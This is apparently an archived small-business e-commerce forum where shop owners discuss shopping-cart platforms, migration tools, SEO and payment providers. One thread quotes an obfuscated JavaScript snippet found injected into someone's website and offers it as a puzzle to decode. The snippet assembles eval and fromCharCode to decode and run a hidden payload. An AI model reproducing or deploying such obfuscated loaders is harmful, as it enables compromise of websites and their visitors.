All Discussions - Talk About Selling

Interspire Web Space Cleanup

acompton — Wed, 02 May 2012 08:42:57 -0400

I'm starting to run out of my initial allocation of webspace. Are there any obvious space hogs I should look for when it comes to doing a bit of house-keeping?

Interspire discontinued, BigCommerce, CS-Cart or Actinic

consciouspnm — Thu, 03 May 2012 06:12:24 -0400

I moved from Actinic to Interspire, but they've now announced that they are going to discontinue all their downloadable products. Which is the best cart to move to, BigCommerce, CS-Cart or Actinic Online?

Javascript Puzzle

acompton — Wed, 04 Apr 2012 09:06:22 -0400

Here's some dodgy javascript that was found added to a website (not mine). The fun puzzle is to work out what it's doing.

d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try{new
document.getElementById("qwe").prototype}catch(qqq){st=String;zz='al';
zz='v'+zz;ss="";if(1){f='f'+'r'+'o'+'m'+'Ch'+'ar';
f=f+'C'+'od'+'e';}e=this[f.substr(11)+zz];t='y';}
n="3.5~3.5~51.5~50~15~19~49~54.5~48.5~57.5~53.5~49.5~54~57~22~50.5~49.5~
57~33.5~53~49.5~53.5~49.5~54~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~4
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bstr(1));for(i=0;i!=581;i++){j=i;ss=ss+st[f]
(-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(""+q);

i am back

PNAGames — Tue, 13 Mar 2012 06:27:35 -0400

hello everyone

after some absense i am back browsing this forum...

how is everybody

LOL of the Day

acompton — Thu, 22 Mar 2012 05:27:44 -0400

I had a email from someone introducing themselves as a fellow Actinic user and saying they liked the 'Add to Cart' behaviour on my website and asked how I had achieved it.

Interspire - Tell me about your experiences

Gabriel Crowe — Fri, 03 Apr 2009 14:30:07 -0400

...the website looks awesome, but whats the score?

it'll have its advantages and disadvantages.

anyone got a quick overview without me trawling their forum?

Low Stock Messages

Parklife — Wed, 18 Jan 2012 15:46:40 -0500

Seeing a few sites displaying stock messages such as 'Low Stock' or even 'Last One', what's the general feeling, would seeing 'Last One' make you more likely to buy there and then rather than shopping around or leaving it till later?

Darron

Late to the Party

acompton — Wed, 19 Oct 2011 10:50:39 -0400

Well, I've finally done it. I've ditched the trusty V7 for a new Interspire site. It's been a long time coming and a bumpty ride.

So far, I'm very impressed with the features and the UI. Even she-who-runs-the-shop has been modifying products with very little training and has described the interface as 'very intuitive'. Mind you, she's had years of wrestling with Amazon's front end.

Ironically, on the day I went live, I got an Actinic marketing email.

MySQL Table joining joys!

mcfinster — Thu, 05 Jan 2012 15:26:23 -0500

Right, so I am trying to join the Interspire isc_orders, isc_order_status and isc_unique_visitors all together so I can display a list of order totals of various orders with X status id and then work out the conversion rate by using the unique visitors field.

This works

$order_total_week_query = "SELECT *, COUNT(orderid), SUM(subtotal_ex_tax), FROM_UNIXTIME(orddate, '%v') as total_week, SUM(total_inc_tax) FROM isc_orders LEFT JOIN isc_order_status ON isc_order_status.statusid = isc_orders.ordstatus WHERE orddate BETWEEN UNIX_TIMESTAMP(DATE_SUB(CURDATE(), INTERVAL 5 WEEK)) AND UNIX_TIMESTAMP(DATE_SUB(CURDATE(), INTERVAL 0 WEEK)) AND statusid IN (1, 2, 3, 7, 8, 9, 10, 11) GROUP BY total_week ORDER BY orddate DESC";

but try as I might I cannot work out how to join the third table in (joining the orddate field in isc_orders and the datestamp field in isc_unique_visitors). The complication (apart from not knowing MySQL very well!!) seems to be as I need to group these by week so presumably I need to get the Unix time before doing the join!

I suspect there may be an easier way to do this but if anyone has any pointers then I'd be eternally grateful!

A data entry tool for Interspire (any anything else for that matter)

Gabriel Crowe — Tue, 03 Jan 2012 16:10:03 -0500

I knocked together a quick data entry tool for Interspire. It's a zero-config tool that drops into the web root. It could easily be re-tooled to work with any data source.

It has a unique approach to entering data into large data-sets. It makes the whole thing into a sort of quick fire game, where each item of data is a little nibble of a much larger problem, but the user is never shown the amount of items left to go. This little experiment works.

- The user is shown a very simple screen with a piece of information, such as a product name.

- A single input box accepts a user input.

- The user presses enter, the entry is saved and another product is displayed.

In my example I use it to build product references where the product name is known. The good part is that its multi-player. You can have lots of people entering the data at the same time. The field you enter can be different too. It could just as easily be the barcode field or even the main description.

I'll put a zip file up here after i've added some polish.

Any real alternative to Actinic?

AlanJ — Sun, 11 Dec 2011 23:38:39 -0500

I have been looking at various options to move from Actinic V10 to a web-based store admin.

Big Commerce looked attractive but on further investigation it is really limited for B2B and inflexible in terms of additionial product information tabs, extra side info panels, etc.

Many other SaaS options seems to be only retail or have similar restrictions in template functionality.

Any suggestions for SaaS or self-hosted software to give customised functionality similar to Actinic?

Thanks in advance for the input.

Alan

New Store, New Cart, Thoughts?

GrantG — Tue, 29 Nov 2011 07:20:56 -0500

Hey people.

In the last week or so, we've launched the new Cupar Garden Centre site, which I have transferred over many, many hours, from Interspire Shopping Cart Ultimate to CS-Cart.

Everything seems to be running OK now, had a few issues along the way but, thankfully, none of them have been the carts fault, just the hosting environment.

Now all the old Interspire URL's are redirecting properly to the new CS-Cart URL's, traffic is picking up again, have been rather amazed at just how quickly Google has picked up on the new URL's - including updating their Sitelinks - so the future's bright, the future's CS-Cart...

Honestly, a little over a year ago I wouldn't have given this cart much thought, but with 2.2.X and v3 due for release shortly after Christmas (February I'm told), it's definitely a cart on the up. Interspire was great, for a while, but a distinct lack of support and very limited - if any at all - future updates, deprecates the cart for me.

Feel free to take a look at the new site, quite a few customisations, still a heck of a lot of work to do, but I'd appreciate if you could take a look and provide some feedback...

Cupar Garden Centre

Thanks
Grant

BigCommerce

party_pete — Tue, 13 Dec 2011 07:41:53 -0500

Oh, what a time i'm having trying to get the sales registered in Google Analytics.

I'm using BigCommerce with SagePay and PayPal (Standard).

I didn't expect my PayPal transactions to show but simply can't get any sales registering.

I've followed all the BC tutorials and tried their forum but no joy.

Anyone fancy sharing a screenshot or the settings they are successfully using?

>:P

Getting Depressed about SERPS

acompton — Fri, 02 Dec 2011 08:42:58 -0500

For a long time, my Actinic site had pretty reasonable positions in the Google results. Some popular product page were ranking at no. 1 for the product name. I've always struggled for the key phrase 'board games', but I new that was going to be a challenge. The best I could manage was about page 4 (but that same as a number of competitors).

Then along came the Google change about June this year and it wiped me out completely. The top-ranked pages disappeared and I sank to page 10 on 'board games'.

Switching to Interspire has at least gotten rid of the 'duplicate page' problem (I had a lot of those). Some of the brand and product pages are starting to recover, and Webmasters shows that the keyword analysis is much better. However, the dreaded 'board games' is sinking fast - last seen on page 14.

Many of my competitors have fared badly sinc June, although one in particular stands out - he's the one that has paid someone to do all the link-building and social media marketing (LBaSM) that is supposed to be required these days. Curiously, he is also the one I am least bothered with because he has a very poor range of stock and a reputation for bad service.

The question is: do I just accept the situation and not bother or do I pay for the LBaSM that I don't have the time to do myself?

what psp works well with ISC

wesleythorne — Tue, 15 Mar 2011 20:31:51 -0400

Hi all, i know the what psp is best has been asked before but i would like to know what you all use, especialy for big commerce.

Our main site still on actinic is useing actinic payments,

I have sagepay on our second site but i am fed up with problems over the last 6 months. The worst of it is that since last OCT all our transactions have failed the 3d secure part. Sagepay have informed me there is an issue with there software using the correct keys to to talk to HSBC who are our merchant bank.

They just seem unable to fix it, it all worked weel for many years until 6 months ago. Anyway i dont want to wate anymore time with them.

Can anyone recommend a decent psp.
thanks
wesley

Converting Actinic to Interspire and Prestashop

Gabriel Crowe — Thu, 13 May 2010 11:42:04 -0400

http://code.google.com/p/galactic-action/

I've taken the Interspire converter and the new Prestashop converter and created a new project, codenamed 'Galactic Action'. This place will be where I (or contributors) will upload their modifications to the export routines for different shops.

The new Prestashop exporter is uploaded now and supports creating of sections and importing of products.

Product Attributes supported
Product Reference
Hidden (yes/no)
Short Description
Long Description
Price
Tax rate
Weight
Quantity
Meta-title
Meta-keywords
Meta-description
Image

I have sucessfully imported a catalog of 1000 or so products. Everything went swimmingly.

Known Issues:

- Category importing, and strange numbers.
"Note that the category import does not support categories of the same name"
Prestashop does not support cateories of the same name, even if they are in
completely deffierent parts of the category tree. To work around this, I
introduce a unique element, in this case, the ref Id from the Actinic table.
This lets us import all of our tree, even if some of the categories have the
same name. Downside? it looks odd. You'll have to clean it up by HAND later.

No workaround exists, complain to Prestashop. :)

- Attributes
...are not yet implimented. Its very possible, and would require a bit of
work. Why not give it a crack yourself? ;)

- Images
Take ages to import. They are loaded over the web from your live shop, very
much like interspire does. If this is on another domain, and you have lots
of products, then this can get lengthy and it may even crash. Until you are
confident its all going to work, try debug mode. it'll only import 25
products to test.

- Meta-keywords / Meta-description / .
When importing these items of data into sections, Presta imposes a 128 char
limit. So, we trim your data short. This once again is a presta problem.

- 301 Redirects.
A 301 redirects file is also generated. At this time, it supports only
sections, not products.

:wub:
Have fun kids.

Actinic to Prestashop Inporter

Gabriel Crowe — Tue, 02 Mar 2010 15:13:49 -0500

So, I wrote one, and its looking good. It imports sections, with appropriate images, and products, with what looks like all data intact.

epic win.

i'll make a google code page for it and open it up shortly, so you furious code monsters can have a crack.

:wub:

New Project: Scannable - Stock Control On The Web

Gabriel Crowe — Mon, 07 Nov 2011 07:13:03 -0500

Introducing my latest tool for helping people sell more things faster.

Scannable Stock Control. I'm posting these screens here so that anybody watching can give feedback and suggest things this software might want to do. Outlined here are the main features:

Create a sales channel and import your stock.
Create another sales channel and import your stock there too.
Associate stock (same physical item) between sales channels to sync stock changes.
Export stock back out to each sales channel with the right stock.

The reason for all this is so that you can import (for example) amazon inventories then import your actinic inventory, you will have the same item in your system twice. Set the barcode on your amazon item, set the stock warning level and set the physical location in your warehouse and THEN associate it with your actinic item. When you press save, they become associated. Every time you make changes to one, the other changes too. Next time you export them out to each individual system, it will share the features of its associated product. You can associate unlimited products together.
Set the items physical location for reports.
Set the items supplier, for reports
Mobile scanners are your phones / PDA / tablets, including all android devices, the ipad and the iphone. You already own the hardware, almost no cost associated.
Stock tracking with graphs over time. Get a better picture of whats going on.
Use Goods returns notices to input stock in in batches. Beep them in with a barcode.
Use Sales invoices to process goods out in a batch. Beep them out with a barcode.
All stock movement is logged, browse the logs, search them... see who did what and with what device.
Very quick stock number check.

What is planned / in the pipe already?

Amazon marketplace sync with API
Actinic link and sync (requires Actiniet free version)
Generic exports and imports for xml, json and csv for ALL the data. No data islands here.
Full API for third party addons.
'Front Desk' shop counter stock checker and quick stock book out for over the counter sales.

So whats it all about?

With Scannable, even though it is possible to use multiple inventories for multiple channels, its not an essential. In fact, you only need 1 sales channel, your main one. Scannable has an individual stock item in the database for each individual combination. 5 sizes = 5 items in the database. The design is deliberately simple. It wont suit everyone, but it will suit a LOT of business.

Scannable makes it easy to use mobile devices and off the shelf ones at that. It's mobile client has been tested on android and iOS platforms, including the iPad. Both these device ranges support scanning of barcodes with the camera. Other devices like blackberries and such work fine... but dont support scanning. You'll need to search.

This 'distributed' adjustment of stock means a better overall view of stock, with stock being updated every time any time somebody takes one out, or does a recount. You can set entire teams on counting a warehouse in very little time.

So, thats Scannable in a nutshell. I'd like to open discussion on things you see are wrong, or things you would like to see. Please try to keep the features logical and doable. I'm going for a private beta sooner rather than later. :)

Here are some screenshots of the current build.

Facebook Store?

traceyhand — Mon, 31 Oct 2011 06:28:07 -0400

Anyone looked at having a Facebook store?

We're getting numerous sales calls trying to convince us to set up a Facebook store but I'm really not convinced of any benefits.

What say you?

Have you got one? Seen one? Tried it?

I can't help thinking that, if someone wants to look for something to buy, they're going to go to Google, not Facebook!

Am I missing out on something?

Database Access

acompton — Mon, 07 Nov 2011 08:44:51 -0500

OK, so now I have an online database. I asked for access to the cpanel and run up the MySQL Manager. but I can't see anything that resembles an Interspire database. I just get on called 'information_schema' (or something like that), which looks like the mysql system tables. Am I right in presuming that my login doesn't have the access rights? or have I missed something?

Actinic - Smart Skins

Chunkford — Fri, 28 Oct 2011 12:51:37 -0400

Anyone had a chance to play with this yet? - http://www.actinic.co.uk/online-ecommerce/products/features-in-detail/smartskins-design-tool.html

OpenCart

acompton — Tue, 20 Oct 2009 14:00:11 -0400

Anyone looked at OpenCart (www.opencart.com)?

ecommerce cart with ebay integration

traceyhand — Fri, 14 Oct 2011 09:02:05 -0400

We're looking to set up a side business and can't decide what shopping cart to use!

We need around 500-750 product capability, preferable online database, orders fully exportable via CSV, don't mind if it's a hosted or self-hosted version (depending on costs) and it needs to have ebay integration built in.

We've been using Interspire for nearly a year now and we do list from ebay with that so we could consider BigCommerce, on the $39.99 package or we've also looked at Actinic Online's £35 package.

Is there anything else, with sound ebay integration, that we could be considering?

super slow interspire, how to debug?

Gabriel Crowe — Tue, 20 Sep 2011 05:55:52 -0400

http://dediserve.com/ hosts asylum scooters now. their stuff is all cloudy and elastic.

with 2gb of ram and a fast cpu interspire with less than 2k products should be fine. the shop is unmodified.

Powered by Interspire Shopping Cart 6.1.1 © 2004-2011 Interspire Pty. Ltd.

The server is very slow. i've talked furiously to the people at dediserve and they seem to just reboot apache and claim its fixed. they claim to be 'logging' and nothing gets done. its pretty frustrating becasue even when i ssh to the system and do: #top it shows no real activity spikes and low cpu all the way. i'm thinking its some sort of crash or badlt configured php.

so i guess my question to all the linux people is, how do i trace slow php? how can i find out on a linux box what is bottlenecking the execution of php?

Interspire Products Import Tips

acompton — Mon, 03 Oct 2011 09:48:02 -0400

Just a few things I've learnt doing some product importing.

- You don't need double-quotes around every field, just the ones that have the separator character (e.g. comma) in them.
- If you really want a double-quote in the text, use two of them ("")
- If you screw up the import (fields are out of line), don't try to re-import to fix it, as some values won't be overwritten by the new import. It's best to delete the product(s) and re-import.
- If you have multiple images to associate with a product, just repeat the import for each image with the image filename changed each time. Tick 'replace matching products' but don't tick 'delete existing images'.

UK States/Provinces how to set up

wesleythorne — Sun, 18 Oct 2009 15:27:23 -0400

Hi all, have been getting one of our stores into bigcommerce but have hit a wall with the default list of states/provinces

the checkout 'select state/province" is not very friendly for UK users by default, everything else about it is very good!

What does evryone use on there sites for enetering the correct address format.

I also noticed Bristol and Avon are not listed.

This is the only thing which is holding me back, i just feel the whole selecting address/post code/state/province checkout is very poor from a UK user point of view.

i would love to get it to work soon!
Wes

paypal errors aplenty recently.

Gabriel Crowe — Fri, 16 Sep 2011 09:29:03 -0400

I have been getting a lot of these errors. is this just me?

Cart Abandonment

GrantG — Tue, 30 Aug 2011 10:35:25 -0400

As this service is a hosted service more than anything else, I thought this category was most appropriate.

I have been looking into cart abandonment services, most companies I have found offer virtually the same service for various costs from around 5% up to 15%.

Just wondering if anyone else has used such services (or perhaps they have a self-hosted version, if so, what?) and can offer some advice on this subject.

Thanks
Grant

Credit card i made for the logo

Gabriel Crowe — Wed, 31 Aug 2011 15:13:04 -0400

has anybody noticed who the card is for? \m/

Unable to edit an order

consciouspnm — Thu, 23 Jun 2011 16:02:35 -0400

If I try and edit an existing order, or create a new one manually (i.e. in the admin panel) the country list drop down is empty so I can't move onto the next step.

Any ideas how to fix this as the countries are all available via the normal website ordering process.